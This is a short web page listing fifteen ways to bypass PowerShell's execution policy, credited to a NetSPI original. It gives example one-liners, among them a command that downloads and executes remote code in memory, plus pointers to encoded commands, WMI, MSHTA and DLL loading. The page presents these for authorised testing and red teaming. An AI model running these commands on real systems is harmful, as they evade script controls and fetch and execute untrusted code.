Skip to main content

Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass PowerShell Execution Policy

Based on the original by Scott Sutherland (NetSPI)


PowerShell’s execution policy restricts script execution, but these methods allow you to bypass it without needing admin rights.

🧪 Quick Methods with Examples

  1. Paste directly in the console
    Policies don’t apply to manually typed commands.
  2. Echo & pipe to PowerShell
    echo Write-Host "Hi" \| powershell -noprofile -
    Executes via stdin.
  3. Pipe a script file
    Get-Content script.ps1 \| powershell -noprofile -
    Reads line-by-line as input.
  4. Download and execute in memory
    powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL')"
    No file written to disk.
  5. -Command argument
    powershell -command "Write-Host 'Bypass'"
    Executes inline commands.
  6. -EncodedCommand argument
    Base64-encoded string passed directly to PowerShell.
  7. Set execution policy in session
    Set-ExecutionPolicy Bypass -Scope Process
    Only affects current session.
  8. Use PowerShell ISE
    powershell_ise.exe script.ps1
    Sometimes bypasses policy.
  9. Rename script to .txt
    Read and run manually; avoids .ps1 enforcement.
  10. WMI execution
    Runs PowerShell remotely via Win32_Process.
  11. Scheduled task
    Create task to run your script.
  12. PowerShell remoting
    Executes on remote systems; local policy may not apply.
  13. Inject via DLL (advanced)
    Loads PowerShell engine directly in memory.
  14. Invoke from MSHTA or wscript
    Uses alternate script hosts to trigger PowerShell.
  15. Use trusted software to execute
    Hijack or abuse applications that run PowerShell under the hood.

Note: These methods are for legitimate use only — such as automation, testing, and red teaming — where authorized.